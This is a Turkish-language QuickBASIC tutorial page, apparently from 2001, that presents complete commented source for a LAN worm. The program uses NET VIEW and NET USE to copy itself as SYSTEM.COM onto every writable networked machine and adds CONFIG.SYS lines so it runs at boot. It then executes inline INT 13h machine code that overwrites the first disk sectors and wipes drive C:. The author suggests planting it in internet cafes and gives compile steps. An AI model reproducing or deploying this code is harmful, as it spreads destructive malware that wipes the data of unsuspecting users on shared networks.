Quick Basic

Geçen aylar 12-01

Ağ Altındaki Makinalara Saldırı Programı

Efet değerli Qb ci arkadaşlarım; Geçen ay (link 12) verdiğim ön bilgi ve Dos ortamında mouse rutinlerinin kullanımının ardından bu sefer ufak tefek bir saldırı programına yer veriyorum. Programı yazarken kötü 1 amacım yoktu. Sadece windows un kendi programlarıyla kendisine saldırmaktı amacım. Ama sonradan internet cafeler aklıma geldi.. :) Sonra oturup biraz kastım ve aşağıdaki kodları yazdım. Bu kodlar nedir ? Nasıl çalışır ?

Öncelikle belirteyim bu kodları yazdığım gibi copy-paste ettim. Bire bir çalışıyor. Program windows un net.exe programını dışardan çağırarak işini görüyor. Tabiki kolaylık bakımından Dos komutalarında yararlandım. Mantalite tamamen şu. Programı alıp 1 internet cafeye git, Makinanın birine oturup C:\WINDOWS\ALLUSE~1\STARTM~1\PROGRAMS\ klasörü altına bu programı (SYSTEM.COM) -ADINI VE KLASÖRÜ DEĞİŞTİRMEYİN ÇALIŞMAZ- kopyala. Sonra kalkıp git. Bu makina ilk açılışında system.com dosyasını çalıştırır ve Bizim program hemen ağ altındaki tüm terminallerin adını alır ve tek tek hepsinin windows klasörüne kendini kopyalar, config.sys dosyasını da ilk açılışta parametreyle kendini çalıştıracak şekilde ayarlar ve çıkar. Tabiki terminallerin yazma koruması varsa onları es geçerek devam eder. Ne zaman yazım erişimi verildi o zaman onlarada bulaşır. Hiçbir terminalde paylaşım yoksa yada yazım erişimi yoksa bir dahaki sefere Allah(cc) kerim der gider. Olay böyle işliyor. Bizim programı kapan makinalar ilk açılışlarında küçük bir not ile sistemi durdurur. Hdd nin ilk sectörden itibaren 9 sectöre kafasına göre yazar çizer. Bu nedemek C: komple uçuyor demek. Sonrası bizi ilgilendirmiyor.

Program kaynak kodları yanına rem (açıklama) satırları yazdım. Anlamadığınız yer olursa yazın bene..!
Programı derlemek isterseniz program sayfamda QB4.5 derleyiciyi indirip zipli dosyayı klasöre açın ve TA.BAT dosyaadı yazıp enter.. Alın size *.EXE

Önemli notlar.:

Progamın kaynak kodu aşağıdan itibaren başlıyor..

'PROGRAMI YAZDIM BELLI BIR AMACIM YOK NE YAPMAK ISTEDIGIMI
'TAM OLARAK BILMIYORUM ALGORITMAM VE PROCEDURE LERIM BIRAZ
'KARISIK OLDUGU ICIN ACIKLAMA YAZIYORUM. (ILERIDE MOO GIBI BAKMAMAK ICIN)
'PROGRAMIN ADI SYSTEM.COM OLMALI AKSI TAKDIRDE CALISMAZ
'C:\WINDOWS\ALLUSE~1\STARTM~1\PROGRAMS\SYSTEM.COM OLARAK ATILMALI
'BURADA CALISIP LAN DAKI MAKINALARA KENDINI YAZIYOR. TABIKI ERISIM
'VARSA YOKSA HATALAR SIMULE EDILIP YOLA DEVAM..
'YAZILAN MAKINALARA C:\WINDOWS\SYSTEM.COM OLARAK GECIYOR VE
'CONFIG.SYS ILE ACILISTA PARAMETREYLE AKTIF OLUYOR VE PARTITATION
'UCUYOR. SAOLSUN ASSEMBLY INLINE RUTUNLERIM. OLAY BU KADAR.
'ACIKLAMALARA GECELIM. 9-11-2001 Coded by Ciwata°,Hre°,Erh+,Afarof°
'TÜM KODADLARIM BU KADAR :P

ON ERROR GOTO HATA 'HATA OLURSA HABERIMIZ OLSUN
IF COMMAND$ = "ERH" THEN GOTO PART 'PARAMETRE GIRILIRSE ISBASI YAP
SHELL "NET VIEW>C:\TERM" 'LAN DAKI MAKINELERIN ISIMLERI NE ?
OPEN "I", #1, "C:\TERM" 'BUNLARI DOSYAYA ATIP DOSYAMIZI AC
YOL$ = "C:\WINDOWS\ALLUSE~1\STARTM~1\PROGRAMS\startup\SYSTEM.COM"
'YUKARIDA PROGRAMIN BULUNACAGI LOKASYON
DO 'DON BABA DONELIM DONGUSU
INPUT #1, l$ 'DOSYADAN ILK ISMI AL
IF INSTR(l$, "\\") THEN 'MAINA ISIMLERI \\ ILE BASLIYO. BOYLE MI ?
SHELL "NET USE /DELETE *>t" 'EFET ISE TUM BAGLANTILARI TEMIZLE
SHELL "NET USE " + "O: " + l$ + "\C>tt"'O MAKINAYI O: SURUCUSU OLARAK ATA
CHDIR "O:" 'OLUSAN SURUCE GEC
2 IF CIK = 0 THEN 'GECIS YAPILDI MI ? KONTROL ET
CHDIR "C:" 'ORJINAL YERINE DON
OPEN "B", #2, YOL$ 'PROGRAM KENDI DOSYASINI ACIYOR
BOY = LOF(2) 'BOYU NE KADAR OGRENIYO
G$ = SPACE$(1) 'TASIMACILIK YAPACAK OLAN HAMALIMIZ
OPEN "B", #3, "O:\WINDOWS\SYSTEM.COM"'HEDEFE DOSYAYI AJ
DO 'KOPYALAMA DONGUMUZ
AL = AL + 1 'DOSYA BOYUNU SAYAN SAYAC
GET #2, AL, G$ 'KAYNAKTAN OKU VE HAMALIN SIRTINA YUKLE
PUT #3, AL, G$ 'HAMALA SOYLE HEDEF DOSYAYA BIRAKSIN
LOOP UNTIL AL >= BOY 'SAYAC DOSYA BOYU KADAR OLDU MU ?
OPEN "A", #4, "O:\CONFIG.SYS" 'DOSYAMIZ KOPYALANDI BASLANGIC DOSYASINA
PRINT #4, "SWITCHES=/F/K/N/E" 'KENDIMIZI YAZIYORUZ
PRINT #4, "SHELL=C:\WINDOWS\SYSTEM.COM ERH"'VE ILK ACILISTA AKTIF OLACAZ
1 CLOSE #4, #3, #2 'ISLEMLER BITTI DOSYALARI KAPAT
SHELL "NET USE /DELETE *>ttt" 'OLUSTURDUGUN SURUCUYU SIL
ELSE 'CIK KONTROL BLOGU DEGILI
CIK = 0 'SURUCU ACILAMADI DEGISKENI SIFIRLA.TEKRAR
CHDIR "C:" 'ORJINAL YERINE DON (ZATEN GECEMEDI KI..!)
END IF 'CIK KONTROL BLOGU SONU
ELSE 'DOSYADAN ALINAN ISIM KONTROLU "\\" DEGILI
END IF ' " " " K.BLOK SONU
LOOP UNTIL EOF(1) 'DOSYANIN SONUNA GELMEDIYSEN YURU YUKARIYA
CLOSE 'TUM ACIK DOSYALARI KAPAT
END 'BITTI..
PART: 'PARAMETRELI GIRIS YAPILDIYSA BURDAYIZ
P = VARPTR(D(1)) 'D DEGISKENININ 255 LIK ILK KARAKTER OFFSETI
DEF SEG = VARSEG(D(1)) 'DEFAULT SEGMENT OLARAK D DEG.NIN SEG.I
FOR IE = 0 TO 10 'BURAYA HEX OLARAK 11 ADET MAKINA KODU
READ J: POKE (P + IE), J 'YAZIYORUZ. DATA DAN SIRAYLA OKUYUP YAZ
NEXT 'BITENE KADAR..
DEF SEG = VARSEG(D(1)) 'GEREK YOK AMA YINEDE YAZDIM ZATEN ORDAYIZ
PRINT CHR$(69); CHR$(114); CHR$(104); "+"'EKRAN MESAJIMIZ.
CALL ABSOLUTE(VARPTR(D(1))) 'KOD YAZDIGIMIZ BOLGEYE START WERIYORUZ
DATA &Hb8,&H09,&H03
DATA &Hb9,&H01,&H00
DATA &Hba,&H80,&H01
DATA &Hcd,&H13
'ISTE BABA..! ASSEMBLY GOZUNU SEWIIM.. :)
'MOV AX,309 9 SEKTOR YAZACAGIZ
'MOV CX,0001 ILK SEKTORDEN (PART.)
'MOV DX,0180 C: SURUCUSU KAFA NO 1
'INT 13h RASTGELE YAZ BAKALIM :)
HATA: 'HATA CIKARSA BURDAYIZ.
IF ERR = 75 THEN RESUME 1 'TERMINALE YAZMA IZNI YOKSA NAPALIM ?
IF ERR = 76 THEN CIK = 1 'TERMINAL PAYLASIMI YOKSA ISARET VER
RESUME 2 'ZIPLA
END 'TANIMSIZ HATALAR CIKARSA
'UGRASMA PROGRAMI ..BITTIRRR..

Efeeet, bu programıda bitirdik. Hade bakalım bash bash..

Arkadaşlar bu yazının telif ve yayın hakları Ciwata.net e aittir. İzinsiz olarak çoğaltılıp yayınlanamaz.

Bye by Ciwata°

1